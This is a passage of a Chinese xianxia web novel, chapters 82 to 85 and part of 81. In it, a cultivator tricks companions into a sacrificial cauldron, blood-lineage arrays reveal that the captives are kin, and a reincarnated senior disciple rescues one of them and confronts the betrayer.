高淳秋见闻净焱醒了，就迫不及待问：“你怎么遭到袭击了？是谁干的？” 闻净焱苦笑：“我遭到了师尊神微真人的袭击，别做这幅表情，我也很震惊，那可是引领我进入山门的师尊啊……” 高淳秋当时面色难看至极，却宽慰闻净焱：“也有那等居心叵测的师尊，收徒只是为了自己便利或者满足他的某些目的……” 闻净焱叹息道：“你在怨卫宗主？那是不是也在怨我？若非我的研究，改良了血脉提纯的阵法，你也不会……” 高淳秋：“不，我并不后悔转化为妖族，唯独这一点，我非常肯定。” 若是他没有实力，别说探查事情的真相了，甚至连成为棋子的资格都没有。 闻净焱轻声叹息：“你这么想真是太好了。” 高淳秋认真地说：“我是真的感谢你研究出血脉锁定的阵法，这样才方便我找到亲人。” 是啊，他的确受到上苍眷顾，闻净焱想。 他本是一个乡下村镇的普通孩童，有邪修在镇子周围设置吸取人命的阵法提升实力，他们全镇的人都成了阵法的养料。 恰逢神微真人游历到那个镇子，他发现当地情况不对，一边解除吸收生命力的阵法，一边找到了藏匿起来的邪修。 经过一番激烈的战斗，那邪修当场死亡，神微真人虽然受了伤，可在闻净焱眼中，专心致志解除吸取人命的阵法的神微真人的背影异常伟岸而令人憧憬。 也是从那时起，闻净焱发誓要精研阵法，原来阵法不仅可以吸取人命，却也能在瞬间颠倒阴阳，逆向追踪甚至重创目标。 若非如此，他怎么能将高淳秋和另外两个修士牢牢困在大夏釜内，让其成为釜中祭品？ 作为伯夏一脉的嫡传修士，闻净焱当然知道山腹内有着大夏遗族留下的圣物大夏釜，也知道大夏釜内有一捧大夏后裔的血。 以此鲜血为祭品，可以发动大夏釜以镇压九夏山最下方的地心火，由此获得的功德足以庇护九夏山继续绵延下去。 但不知为何，当高淳秋和闻净焱来到大夏釜前时，釜中的金红色大夏遗族血液居然不翼而飞了！ 若无献祭的遗族血液，怎么催动大夏釜？怎么镇压地心火？ 那一瞬间闻净焱几乎本能地做出了决定。 高淳秋觉醒了上古大妖的血脉，这不是一个最好的、天然的祭品吗？ 先将高淳秋放入大夏釜内当祭品，等他出去找到神微真人，寻回大夏遗族的血液，就能保住九夏山了！ 只可惜当他将高淳秋骗入大夏釜内时，一个天凌宗弟子和一个寂夜宫弟子也闯了进来。 好在那天凌宗弟子主动帮忙，将另一个寂夜宫弟子打入釜内。 闻净焱很感谢他，顺手也将那天凌宗弟子扔进了大夏釜。 大夏釜可是九夏山一派机密中的机密，那天凌宗弟子竟得知九夏山的机密，自然不能让他活着离开啊。 但闻净焱此前受的伤太重了，经过这番谋算和战斗，引动了此前刚稳定下来的伤势。 他只踉跄离开了九夏山的核心，就摔倒在地，不省人事。 在被谢琳琅叫醒时，闻净焱本想故技重施，将谢琳琅骗到身边，再骤然出手干掉这筑基期弟子。 但那弟子太过谨慎，竟绕开了他…… 闻净焱忧心忡忡，事到如今，他难道要再回去一趟？ 第82章 第 82 章 原来你们都是我亲戚啊。…… 大夏釜是一个非常巨大的台子。 台子中心微微凹进去, 边缘是一圈圆形的围栏，围栏升空后在顶部收口。 台子上有一个三层中心祭坛，祭坛上有个圆形的凹槽, 此刻高淳秋就被凹槽上放射出的锁链死死地束缚在上面。 高淳秋看上去狼狈极了, 那头漂亮的蓝白双色长发再一次变成了斑秃, 身上也是血迹和灼烧的痕迹。 只是身上的伤口完全无法和他心头的伤口相比。 高淳秋整个人都失魂落魄极了。 他万万没想到, 在自己遭到了宗门抛弃、师尊利用后, 唯一一个还会对他微笑、用以往态度看待他的闻净焱竟如此辣手, 直接发动了血脉锁定阵法，将他固定在了祭坛上。 甚至最初发动祭坛的力量，都是高淳秋自己充能进来的！ 这简直是太可笑了！ 闻净焱以他认识这法器，只要重新发动法器, 就能镇压地心火, 让一切恢复正常为由, 撺掇高淳秋上前启动大夏釜。 闻净焱的理由合理而正常：他受伤了，伤势很严重, 根本无法支撑大夏釜所需的灵力！ 可是高淳秋根本没想到, 当他按照闻净焱的说法，将自己的鲜血和妖力输入大夏釜后，竟被无数金红色锁链牢牢束缚在这里，同时大夏釜也瞬间扩大成了一个类似祭祀的台子, 而他成釜中祭品！ 高淳秋目眦欲裂。 他不敢相信自己最后一个朋友, 也会处心积虑地算计自己、利用自己！！ “……别担心，高道友, 我会尽快请师尊过来帮忙的。” 闻净焱还扶着大夏釜的边沿，从顶部居高临下俯瞰着仿佛缩小了身躯、成为祭品的高淳秋，他依旧是那副腼腆柔和的目光, “你的妖族血脉还算醇厚，应该能支持一会，为了社稷苍生，为了九夏山方圆千里之地的生灵安慰，你就先努力一下吧。” 高淳秋只觉得天旋地准，只觉得一刻钟前认为觉醒血脉没错的自己简直是个小丑。 如果他没有觉醒血脉，就不会发生这种事了吧？ 不、不对！明明是闻净焱卑鄙无耻而已！！ 高淳秋知道自己此刻想法不对劲，经过接二连三地刺激和突变，他很可能已经走火入魔而不自知。 可他就是控制不住啊！！ “道友你先……” 闻净焱看着在大夏釜的锢神锁死死缠绕的高淳秋开始逐渐露出妖族本体，正要说几句别太急着输入妖力，突然外面传来了一前一后两个脚步声。 闻净焱立刻装作无力的样子扶着大夏釜，还焦急地说：“道友你没事吧？” 第一个出现的人自然是沈鹤，追着他的人则是此前斥责过他的张思则。 身处于大夏釜的高淳秋注意到了闻净焱语气的变化，即便可能入魔了，即便此刻他体内的妖力在不断暴动，可好歹也是修行多年的修士，他深知此刻是唯一脱身的机会了，顿时毫不犹豫露出了本体。 一只青蓝色的毕方发出了清脆的鸣叫声，汹涌澎湃的妖力猛地爆炸开来，试图挣脱锢神锁，继而冲出大夏釜。 闻净焱并不担心高淳秋冲出来。 大夏王朝是妖族时代，妖族内部从来都不是什么相亲相爱的关系，相反，那些妖族一直致力于将自己看不顺眼的其他妖族塞进祭坛里当祭品“用”掉。 所以锢神锁本就是用来禁锢妖族的。 于是接下来发生的事太过魔幻了。 高淳秋怎么都无法挣脱束缚，就在他绝望之际，头顶的釜口落入了一个扎着马尾的少年。 少年被人重重打了进来，直接落在了高淳秋张开的青蓝色翎羽上。 高淳秋立刻认出了这少年是寂夜宫弟子，叫什么不记得了。 他发出了清脆的鸣叫声，“快想办法将我身上的锁链解开！” 沈鹤滚下来后才发现自己居然砸到了一个大妖身上，心都要飞出嗓子眼了，他要完蛋了！ 可是定睛一看，沈鹤才发现这蓝白色火焰燃烧着的禽妖好像被锁住了？ 正常人见到此情形，都不会立刻动手帮忙吧？ 毕竟这可是化神期的大妖啊，自己只是个筑基期的小修士，万一放出大妖后，自己成了大妖的唯一点心怎么办？ 就在沈鹤犹豫之际，之前追着他打的张思则也掉了进来。 沈鹤先是惊愕，继而语气微凉：“你刚才不是和闻前辈联手偷袭我吗？怎么你也被打进来了？” 张思则面色铁青。 他是被天凌宗弟子引荐拜入天凌宗的，由于他第一次见到天凌宗弟子时，身处魔域，导致宗门不少弟子都对他有些质疑，觉得他其实是寂夜宫那边派来的探子。 当初宗主的未婚道侣可是跟着寂夜宫主跑了啊！ 眼前多了个疑似寂夜宫的修士，天凌宗弟子自然不会给张思则什么好脸色看。 张思则为了证明自己是纯正的真界修士，只能给自己贴了个厌恶魔修的标签。 但张思则没想到，自己除魔卫道，竟被九夏山的闻前辈也打入了这巨大的釜中！！ 若是他能活着出去，他一定要将此事告诉宗主！让天凌宗找九夏山要个说法！ 高淳秋整只鸟都要麻了。 他们三个倒霉蛋成了大夏釜的祭品，结果两个能自由行动的低阶修士还在内斗，这是在做什么啊？！ 高淳秋越是着急，身上的禁锢力度越强。 直到某个瞬间，他破罐子破摔地喷出了一口精血，甚至打算抛弃身体，让神魂附身在那寂夜宫弟子身上，再想办法逃命的时候，一道红色的阵图以他为中心猛地扩张开来！ 那是最初闻净焱将高淳秋骗到大夏釜内的血脉锁定阵法。 因为有了锢神锁，后来这阵法就没什么用了，高淳秋破开阵法后也没在意，全身心地和锁链做斗争。 可是现在，这道阵法徐徐张开，清晰地勾勒出了一道血线。 那血线将他和张思则联系在了一起。 高淳秋挣脱的全部力气瞬间消失了，他呆滞地看着张思则。 张思则不明所以，他怒吼：“孽畜！你这是什么妖法？！” 站在张思则后面的沈鹤欲言又止。 高淳秋喃喃地说：“血脉锁定……这、这是唯有与我相同血脉的人，才会出现的异象……” 张思则勃然色变：“胡说八道！我是人族修士！我有父母！他们都是正统的人族，我才不是什么妖族？！” 高淳秋怔怔地看着张思则，试图在张思则脸上寻找自己父母的样貌，耳边却回荡着那句孽畜，心若死灰。 就在此时，沈鹤咳嗽了一声，他举起手试图招呼眼前这燃烧着青蓝色火焰的大鸟。 “那、那个，如果你们是亲戚，那我们能暂时搁置争议，先想办法跑出去吗？” 张思则找他麻烦的原因为：他是魔修。 既然张思则有了个妖族亲戚，那魔修什么的也不重要了吧？难道不该先逃命吗？ 张思则却像是提醒了一样，猛地向前方跳了两步，让开了方位。 “我不可能是妖族，你这妖族眼睛瞎了！” 随着张思则张开位置，他与高淳秋的连线松开了，原来与高淳秋有血脉关系的人是之前站在张思则身后的沈鹤。 张思则大喜，他大声道：“你们两个都是孽畜……额……” 他的话突兀消音了，滑稽而可笑。 因为沈鹤身上并非是一道血脉线，而是两道，左边连着高淳秋，右边连着张思则。 沈鹤也震惊了，他先怔怔地看向化神期的大妖，再傻乎乎地看向怒目瞪他的张思则，一脸懵逼地说：“啊，原来你们都是我亲戚……” 沈鹤幼年时曾无数次畅享，自己的父母亲戚会突然冒出来，对他伸出手说，我们找到你了，随我们回家吧。 只是这个梦随着他逐渐长大而快速消失了。 是爷爷辛苦地拉扯他长大，是爷爷的一份份甑糕浇灌了他，即便将来他的父母出现要带他离开，他也想和爷爷在一起生活，最起码他要为爷爷养老送终。 但就在沈鹤放弃了的时候，在他甚至将相认的信物都交给谢琳琅，帮助谢琳琅重塑真身时，两个亲戚冒了出来。 一个之前似乎想要夺舍他，一个伙同他人将他打入巨大的釜中。 沈鹤的心情在一瞬间变得奇异而微妙，像是有什么彻底破碎了，又像是终于迈过了一道门槛儿，进入了全新的世界。 体内魔气突兀暴增，以螺旋形状不断涌动着。 若是此刻闭目调息，他也许能顺利进入金丹期吧。 可沈鹤完全没有余裕去处理突发状况，他只是下意识地后退了一步，沉默而尴尬。 这一刻，沈鹤突然很想见自己真正的师尊。 玉佩师尊啊，这种局面下，他要怎么办？ 而在沈鹤头脑风暴的时候，高淳秋的目光随着血缘线而转移到了沈鹤身上。 他定定地看着沈鹤，猛地明白了什么，继而发出了凄厉的尖叫声。 原来如此，怪不得他寻找这么多年都没成功，原来他母亲留下的弟弟或者妹妹，早已陨落了！ 那个孩子只留下了一个后裔，那就是沈鹤！ 至于为什么张思则会和沈鹤是亲戚，估计是另一方的血脉关系。 高淳秋内心悲痛欲绝，他心念急转。 先是被宗门抛弃，继而被裴寂夜刺激，又遭到挚友背叛，却在即将消亡前，见到了血亲的后裔。 ——我的父母早已去世，我寻找多年的血亲也早已离开，也许我活到现在，就是为了此刻。 无论如何，要让沈鹤离开！ 伴随着这个念头，高淳秋做出决断。 他自己活不活无所谓了，但他要利用自爆的强大冲击力将沈鹤甩出大夏釜。 就在他准备行动时，大夏釜顶部的口子探过来一个脑袋。 正是绕开闻净焱快速赶来的谢琳琅。 “……沈鹤？你们在做什么？” 第83章 第 83 章 三个祭品。 谢琳琅认识闻净焱很多年了。 他很熟悉闻净焱布置阵法的起手式, 也了解闻净焱正常说话时的状态。 闻净焱话里话外想让谢琳琅靠近他，一只手撑着地面，另一只手似乎很疲惫地捂着伤口, 但谢琳琅清楚地看见了, 那伤口处流淌的血液已然勾勒出了一个精妙复杂的符文。 只要他再靠近点, 就会进入闻净焱的阵法封锁范围。 不仅如此, 闻净焱先说下面有寂夜宫弟子的消息, 乱了谢琳琅的冷静, 又说下面的弟子在互相攻击，营造出了一种焦虑氛围。 但凡来的不是谢琳琅，换成洪奎等人，大概率会因为过于关心, 而忽视了躺在地上奄奄一息的闻净焱, 从而让闻净焱偷袭成功。 闻净焱就是这样一个人, 即便他是元婴期的中阶修士了，哪怕算计一个筑基修士, 也不会疏忽大意, 也还如此谨慎小心。 也正是这份性子，让他在阵法上有着独到的天赋，总能发现每一笔符文的差异和变化。 谢琳琅不想和闻净焱纠缠，索性掠过他, 直接冲向下方的山腹核心。 最起码他要确认, 下方弟子里没有沈鹤呀。 谢琳琅顺着闻净焱留下的痕迹一路逆推过去，很快抵达了最下方的山腹核心, 一进入这里，谢琳琅就心中一惊。 明明岩壁上还涌动着金红色岩浆，一道道纹路散发着毁天灭地的高温, 可是山腹深处居然很冰凉！ 但下一秒，谢琳琅的视线就被放在中央巨大的黑色大釜所吸引。 黑色大釜大约一人高，四米宽，四足上缠绕着龙形雕刻，龙鳞栩栩如生，仿佛下一秒就能沿着大釜飞起来。 大釜表层是漆黑的，但下方隐隐浮现出金色光点，像是砂金般美丽。 此刻点点金光汇聚成了一只振翅高飞的禽妖，那张开的翅膀上流淌着金色光点，却怎么都无法飞起来。 在看到这个大釜的瞬间，谢琳琅心头浮现了一个名字：大夏釜。 与此同时，他只觉得神魂仿佛被重重敲击了一下，继而天旋地转，差点跌倒在地。 身体内的血液流速加快，以鹤骨为根基重生的血肉像是被唤醒了一样，更多的信息不断通过妖族血脉浮现了出来。 谢琳琅大汗淋漓，他不断揉着额角，神情恍惚地看着大夏釜，不知道该说什么。 作为九夏山仲夏的传人，谢琳琅理论上是不该知道伯夏的秘密。 然而仲夏怎么说也是九夏山嫡系一脉，基础功法都是一样的，只是越到后期分支才逐渐不同起来。 而谢琳琅曾修行到化神期，即便后来转世重修，他的神识依旧非常契合九夏山的嫡传功法。 如今他再拥有了妖族血脉，神识和血脉相互激发，再加上近在咫尺的大夏釜，导致谢琳琅如同妖族修士般，竟从血脉里获得了部分关于大夏釜的信息。 上古时代，妖族内部争斗激烈，最初大夏只是妖族内部实力较为强大的一支。 每次大夏获胜后，族人会聚众将敌对妖族塞进锅子里煮了，分而食之，不仅有概率获得敌人的神通，还能填饱肚子。 天长日久，大夏建立起了属于自己的王朝，大夏釜也从最初大家凑到一起吃锅子的锅，变成了被恭谨放置在祭坛上的祭祀礼器。 煮好的锅子也不能吃了，只能祭祀给上天。 为了防止有实力强悍、诸如能在火中生存的大妖不会从大夏釜里逃出来，大夏釜内部又上了一道锢神锁。 大夏王朝覆灭后，大夏遗族带着大夏釜逃窜到九夏山，建立了九夏山道统，不再区分妖族和人族，广收门徒，一副与时俱进、妖族和人族和谐共处的态度。 但大夏釜是大夏的礼器，若想九夏山的弟子能自如操纵大夏釜，就必须满足几个条件，诸如修行大夏遗族的特殊功法，比如身负大夏妖族血脉等等。 彼时妖族虽然落败了，可依旧实力庞大，人族炼气士也不敢过于逼迫，反而让人族和妖族真的开始血脉融合，不少人族修士都具备了妖族血脉。 九夏山倒也不担心传承断绝，找个具备妖族血脉的人族修士当弟子，在那时并不是很难的事。 但随着成周建立，人族修士占据了绝对主导地位，妖族远走妖域，大妖几乎全部沉睡，九夏山当时的掌门急得像是热锅上的蚂蚁。 到处都是人族修士，他找不到一个有妖族血脉的徒弟了！ 当时的掌门做出一个重大决定，他召集宗门高层，将当年大夏进行祭祀的仪式以阵法的形式固定下来，再改进成了符文，最后形成了一整套独属于掌门传承的秘术。 随着人族与妖族融合，即便后世人族当道，但人族体内一定会存留着些许妖族血脉，就算无法再激活，哪怕不能有任何妖族特征，可只要能修行这套秘术，就可以操纵大夏釜。 为了保险起见，九夏山又将当初大夏遗族留下的血液供奉在大夏釜内，以此向先祖表达不是我们不努力，而是大环境如此，我们尽量满足先祖的祭祀要求，还请继续庇护我们吧的态度。 也许后辈有些拉胯，但态度绝对没问题。 由此一整套九夏山的嫡支传承就被建立起来了，代代传承到如今，一直没出什么问题，直到神幽真人和神微真人这对师兄弟阴差阳错变更了传承顺序。 谢琳琅的身体微微晃了晃，短时间内消化这么多信息，他才筑基期，有些不适应。 谢琳琅依旧不知道伯夏一脉操纵大夏釜的秘法，但有趣的是，他的妖族血脉告诉他了正统的祭祀方式，理论上来讲，只要他上供了祭品，就能操纵大夏釜了。 ……可我想要熄灭地心火啊。 谢琳琅有些郁闷，鹤骨血脉只告诉了谢琳琅关于九夏山的立派和传承信息，分毫没有提及镇压地心火的事。 谢琳琅靠近大夏釜，他伸手试图去触摸大夏釜的外壳，看能不能再激活一下妖族血脉，得到一些新信息。 可是等他靠近大夏釜时才发现，大夏釜里似乎有祭品？ 等等，之前闻净焱说什么来着？ 谢琳琅表情微妙起来。 他过来时看到这边没人，还以为争斗的弟子和修士们已经离开了，没想到全都在大夏釜里啊！ 谢琳琅探头看大夏釜内部，一头明显有大妖血脉的、燃烧着蓝白色火焰的禽妖，一个穿着天凌宗弟子服色，最后一个人正是沈鹤！ 谢琳琅心有余悸，幸好他来了，万一沈鹤死在这里，那他下次天劫也得跟着完蛋了！ 想到这里，他朗声道：“你们在做什么？” 两人一妖身上拎着红色的线，是被串起来了吗？ 沈鹤听到谢琳琅的声音后整个人都激动了，他仰头大喊：“谢师兄！” 呜呜呜呜他正呼唤师尊呢，师尊就来了！ “我们被九夏山的闻净焱打入了这里面，我们现在出不去了！” 沈鹤大声道，“有办法将我们带出去吗？” 谢琳琅快速扫了一圈釜内情况，目光滑过大妖身上的锁链：“我可以将你带出来。” 沈鹤和另一个天凌宗弟子都是小虾米，对大夏釜来说，那只化神大妖才是最重要的祭品。 大夏当年祭祀时也有临时更换祭品的情况，自然能将大釜内的祭品再捞出来，不过分量最重的主祭是绝对不能变的。 沈鹤怔了怔，他迟疑了两秒才道：“可、可张道友和这个大妖前辈好像都是我亲戚……” 谢琳琅愕然：“你确定？” 沈鹤苦笑着指了指身上的血缘线：“大妖前辈说，这是锁定血脉的阵法，我和他们都有联系……” 谢琳琅漠然道：“就算是一家人，也不见得都能和睦相处，沈鹤，二选一，你选谁？” 沈鹤顿时坐蜡。 张思则大声道：“选我！难道你要选这么个化神的大妖一起离开吗？你就不怕他出去后袭击你吗？” 高淳秋没有理会张思则，蓝白色的鸟儿静静看着沈鹤，发出了清脆的啼叫声，似乎在催促沈鹤赶紧离开。 谢琳琅居高临下，将两人一鸟的眼神、神态和反应看得一清二楚。 谢琳琅挑了挑眉，他故意道：“沈鹤，看到那只大妖身上的锁链了吗？他没救了，已经成了这大釜的祭品，趁着他还没有彻底消亡，大釜还在专注消化大妖，你和另一个亲戚还有机会。” 谢琳琅这么说着，他抬手一甩，莹白色的藕丝顺着大釜的边沿落了下去。 “你们抓着我的法器，我将你们带出来。” 张思则见状，第一个扑上来，一把抓住藕丝，并顺着藕丝试图往上爬。 大釜内不能用灵力，但在碰触到藕丝的瞬间，张思则竟察觉到体内被禁锢的灵力仿佛松动了一丝，顿时大喜。 他想也不想就掐了法诀，猛地向上飞出。 沈鹤慢了半拍，他看了看爬到一半的张思则，又看了看没有任何动静、只是温和看着他的蓝白色鸟儿。 他一咬牙，从怀里拿出了一个小瓶子。 “你好歹是化神期的大妖，应该可以让元婴脱离身体对不对？如果你相信我，就抛弃身体进入我的养魂瓶吧。” 这是沈鹤积攒了宗门贡献点，专门兑换的随身老爷爷装备。 沈鹤在养出了一个谢琳琅后，总是担心谢琳琅再变成随身老爷爷。 可他已经没有第二枚玉佩了，于是就秉承着以防万一的心态，换了这么一个养魂瓶。 养魂瓶的品质自然比不得当初父母留下的黑色玉佩，但也能将就一下。 沈鹤看向高淳秋，黝黑的眼睛里映射着周围的金色光斑，瞬间点燃了高淳秋饱经创伤的心。 高淳秋潸然泪下。 他哽咽地说：“好，我相信你。” 第84章 第 84 章 “……谢师兄？”…… 噗通！ 高淳秋正要自爆, 将神魂放入沈鹤拿出的养魂瓶内，跟着大侄子当一个随身老爷爷。 就听什么东西从上面掉了下来。 沈鹤也被吓了一跳，下意识地向前迈了好几步, 站在了蓝白色大鸟身侧。 他定睛一看, 摔下来的竟是张思则。 沈鹤又仰头看大釜的顶部, 就见自己这位玉佩师尊正一脸嫌恶地擦拭着藕丝绳索。 “谁要带你出来了？别脏了我的法器。” 就算那只大妖和这个天凌宗修士都是沈鹤的血亲, 可还是那句话, 血亲间也有亲疏远近。 蓝白色大妖没有做任何阻碍他们脱离的事, 而张思则却抢在了沈鹤前面往外跑，这说明什么？ 大妖是真的将沈鹤当成了血亲，希望沈鹤快点离开大夏釜，但张思则却完全不在乎沈鹤, 只想着自己逃命。 “我是来救沈鹤的, 你算什么东西？” 谢琳琅这么说的时候, 意味深长地看向了那只蓝白色大妖。 高淳秋对上谢琳琅那双黑色眼眸，瞬间明白了谢琳琅的意思。 张思则破口大骂：“魔修果然不是什么好东西, 嘴上说着帮忙, 实际上只是戏耍我！” 沈鹤正背对着高淳秋，看到张思则骂人，他不由得想要为谢琳琅辩解一二。 就在此时，突然背后传来恐怖的妖力波动。 一股巨大的力量将沈鹤掀飞出去, 而就在他飞到半空的瞬间, 大夏釜顶部的谢琳琅猛地一甩藕丝，将缠住了沈鹤的胳膊！ 沈鹤下意识地抬头看向谢琳琅, 却听下方发出了一声惨叫。 原来高淳秋在掀飞沈鹤的瞬间猛地冲向了张思则。 尽管高淳秋已然被锢神锁牢牢固定在大釜内，但他无视自身安危，直接以血液为术的发动燃料, 妖血本就是天地灵物的一种，于是他勉强获得了一个攻击的空隙。 他用尽全部力气，鸟喙张开，露出细密的牙齿，死死咬住了张思则半边身体。 张思则本就指着谢琳琅怒骂，根本没注意到高淳秋的偷袭，被咬了个正着，鲜血立刻飞溅出来，落在大夏釜内壁上，金色光点蜂拥汇聚过来，贪婪地吸食着祭品的血肉。 张思则下意识地想要释放法术攻击高淳秋，然而在大夏釜内，所有力量都被禁锢了，张思则根本无法使用法术！ 高淳秋死死咬着张思则，鲜血顺着鸟喙流入喉咙之中，流入到已然处于自爆前摇中的妖身内。 这是高淳秋第一次主动攻击人族修士，更是他第一次喝修士的鲜血。 修士经过天地灵力温养，血液自带一种诱人的甘甜。 高淳秋觉得自己的神魂轻飘飘的，像是终于迈过了一个特殊的门槛，又像是从虚无缥缈的天际缓缓落在了地上。 他早已转化为了妖族，人族和妖族都是天地轮回中的一员，都是一种灵物，人又如何？妖又如何？ 他们没有不同，都是一样的。 天地不仁以万物为刍狗。 下一秒，高淳秋眼前出现了无边幻觉，世界变成了鲜红色。 继而视野逐渐拉远，原来鲜红色的不是世界，而是一头巨大的禽妖。 禽妖身长三千里，双翼若垂天之云，覆盖了整片天空，那鲜红色的羽毛上流淌着赤红的火焰，无数火焰滚滚流动，仿佛苍天变成了赤红火海。 无数禽妖震动着双翼跟随在巨鸟身侧，它们将天空当做后花园，将大地当做树枝，恣意畅游玩耍着、嬉闹着，阵阵啼叫声中透着欢喜和快乐。 那就是上古时代妖族最鼎盛时期吗？ 高淳秋失神地看着这一幕，他陷入了这奇异的幻象之中，并未发现他巨大的妖身像是被硫酸侵蚀般融化着，快速化为了一抹液体。 下一秒，高淳秋失去了意识。 沈鹤被谢琳琅强行拽到了大夏釜外，他踉跄摔倒在地，却又立刻爬起来扑向大夏釜。 他愕然地看着大夏釜内发生的一切，几乎本能地催动了养魂瓶。 一缕幽蓝色的神魂无声无息地落入了养魂瓶内。 沈鹤的一颗心落回了肚子里。 可、可是张思则…… 沈鹤怔怔地看着重伤的张思则，又看着似乎失去了一切生机的大妖，脑子乱成了麻团。 砰砰—— 沈鹤猛地回神，耳畔闪过一丝剑刃划过的冷厉感，沈鹤下意识地掐了法诀，法力在身前凝结形成一个盾面，身体则快速后撤离开了原来的位置。 而在他撤退的瞬间，盾面咔嚓碎裂，一根锁链撞击在了沈鹤身后的大夏釜上。 沈鹤看向袭击者，不由得面色难看起来。 这竟是去而复返的闻净焱！ 闻净焱脸色苍白如纸，手上拿着一个阵盘，身上散发出三道鲜红色的锁链，正在从三个方位试图封锁谢琳琅和沈鹤的行动。 谢琳琅脚下依次亮出天枢、天璇、天玑等七星阵眼，随着谢琳琅快速变换身形，配合着他手中的七星剑，他身周出现了七颗蓝色明星。 周天星斗于他身前流转，形成了一个苍穹，自成一体，恰好可以与闻净焱的锁链相抗衡。 谢琳琅那头黑色长发在气流的涌动下微微荡起，他整个人都像是即将飞起的鸟儿，身姿轻灵优雅，眉心间那一点眉心痣显露了出来。 或者说，经过这么长的时间，谢琳琅身上的伪装已然消失了，露出了最真实的面容。 他是故意的。 “都受了重伤，怎么不回去修养？还要再返回来？” 谢琳琅的语气温和极了，仿佛一年前他还在九夏山，和闻净焱一起研究符文阵法的时光。 “闻师弟，你可要保重自身啊。” 闻净焱的眼睛缓缓睁大，不可思议地看着谢琳琅，甚至踉跄后退了一步。 “……谢师兄？” 沈鹤怔了怔，猛地扭头去看谢琳琅。 他这位师尊姓谢？ 闻净焱万万没想到，他强撑着重伤返回来，想要保证大夏釜的安全，却见到了已然陨落的谢琳琅！！ “你、你不是死在天劫下了吗？” “是啊，我师尊、你曾经的师伯也曾死过一次。” 谢琳琅温柔地说：“这可是我们这一脉的传统。” 他此刻尚且不知道裴霁转了魔修，成了寂夜魔尊，只能说是心有灵犀了。 闻净焱倒吸一口冷气，再看看谢琳琅挡在沈鹤身前，恍然明白了什么。 “你、你因他之故，转世重修了？” 他的面容上竟流露出了不解和委屈，“那你为什么不带着他回九夏山？你知道这一年来因你之故，师尊受到多少宗门的质询和非议吗？” 闻净焱有些气愤地说：“你最后要了那么多材料，却又没有炼制出任何丹药，最后全成了九夏山的债务，师尊急着开你的芥子境，也是想要用传承抵债……” 但凡某个宗门的优秀弟子得到了琳琅道君的丹药传承，就可以帮九夏山分担一批债务了。 这也是神微真人与其他仙门大宗间的默契和交易。 谢琳琅漠然道：“你是不是弄错了一件事？我是仲夏修士，你们伯夏的事与我无关。” 闻净焱不可置信地说：“宗门庇护你这么多年，你居然说与你无关？” “庇护？那师兄是怎么死的？” “你怎么还纠结这种事？你自己去九灵宗查过一次，师尊也帮你向九灵宗询问具体情况，裴霁已经死了快百年，你为什么还要记着他？！” 谢琳琅勃然大怒：“闻净焱！那是我师兄！是我最重要的人！他明明死在九灵宗，神微和九灵宗合谋害死师兄，神微骗了我这么多年，你居然还有脸说庇护和纠结？” 闻净焱也非常生气：“胡扯八道！师尊不可能做这种事！你明明知道的！你明明清楚最希望裴师兄继承掌门之位的人是我！我完全不想处理宗门事务，我只想研究颠倒生死、逆转阴阳的阵法一道而已！！” “是啊，我就是被你这幅模样骗了，才一直没发现神微的真面目！” 谢琳琅浑身颤抖起来，他想到在废弃之地见到九灵宗的山门，想到那条通道上遍布着裴霁的剑痕，那是裴霁在绝境时也挣扎求生、决不放弃的痕迹。 而当时的自己居然沉浸在师兄死亡的悲伤中，被神微真人的虚假面目所欺骗，谢琳琅就止不住憎恨过去自己的愚蠢。 “我找到了！我找到了九灵宗湮灭的山门之地，我在那碰到了九灵宗宗主的残魂！！” 谢琳琅怒目瞪着闻净焱，漆黑的眼眸里仿佛点燃了火焰，周身魔气激荡，黑紫色的力量涌入周天星斗，一瞬间风云色变，滂湃的力量随时会爆开。 “九灵宗主亲口对我说的，他当初觊觎师兄的血脉和力量，故意袭击师兄。” 谢琳琅手中长剑直指闻净焱，“你敢说身为掌门的神微不知道？即便最开始不知道，他和师兄都是伯夏修士，他难道没有察觉到丝毫端倪吗？” 谢琳琅破口大骂，“但那个混蛋什么都没说！！他骗了我！” 闻净焱本就身受重伤，听了谢琳琅的指责，他的脸色越发苍白，身形摇摇欲坠。 他有些无措地说：“不、不会的，师尊不是这样的人，他英明神武，他义薄云天，他心怀正义，若不是他，我当年已然和小镇其他居民一起死了……” 闻净焱定了定神，他诚恳地说：“谢师兄，你随我去见师尊好不好？师尊一定有自己的苦衷，事情不是你想的那样，我们去找他……” 谢琳琅突然收敛了此前的癫狂和扭曲，他恢复了平和与从容，甚至还露出了笑容。 “不用了。” 闻净焱努力争取：“我知道你对师尊心有芥蒂，但我相信……” “神微已经死了。” “……什么？” 闻净焱的脸上呈现出一种空白的状态。 他仿佛听到了不可思议的话：“你说什么？” 谢琳琅笑着，语气轻快。 “他死啦，我昨晚亲眼见到的，他被红师姐送到地府，去见我师尊神幽真人啦。” 闻净焱的脑袋嗡嗡的，几秒后，一股无法形容的愤怒升腾起来，迅速啃噬着他的内心和理智。 他失控地大喊：“你说什么？我师尊？我师尊他……我要杀了她！！” 谢琳琅却大笑起来，笑声中透着扭曲和畅快。 “我师兄死了，你觉得我在纠结无用之事，你师尊死了，怎么就喊打喊杀起来了？” 他曼声道：“闻师弟，神微真人已经死了，你现在是九夏山唯一的伯夏修士了，赶紧想想办法呀，否则九夏山就要彻底完蛋了。” “这么关键的时刻，你怎么纠结神微的死？真是……” 谢琳琅的神色骤然冷漠下来，语气冰冷地说：“不知所谓。” 第85章 第 85 章 你得谢谢我呢！ 事情不该是这样的（重复版）！ 卫景营仍然不能理解。 这是他布置好的盛大舞台, 是他的高光时刻，是他彻底摆脱过去裴霁给他留下的耻辱，攀登巅峰, 站在真界最顶端的最好最棒的最佳机会。 为什么啊？为什么神微真人会突然掉链子？ 为什么九夏山会突然往外喷岩浆, 变成了火山？ 以及为什么神微真人要偷袭他和魏紫仙子？ 魏紫仙子后心被捅穿了, 她用了秘法直接消失在空气中, 不知道躲在哪里了。 而卫景营因为想要低声质问神微真人, 导致他在所有人都被晶面吸引时, 反而去看了神微真人，阴差阳错倒是挡住了神微真人的偷袭。 但这也让神微真人的注意力转移到了卫景营身上。 “嘿，不愧是天凌宗主。” 这神微真人目露凶光，还夸赞了卫景营一句, 然后更加狠厉的攻击朝着卫景营砸了过来。 卫景营内心茫然而懵逼, 事情到底是怎么发展成这样子的？ 可即便他已然呆滞了, 可由于他面上久经训练，依旧是那副仙气飘飘、凌然冷漠的神情, 他的目光仿佛万年坚冰, 直直看向神微真人，似乎在不屑地说，区区诡计根本不足为虑。 以至于神微真人的大半注意力都在卫景营身上。 天凌宗主，是个劲敌啊！ 由于事发突然, 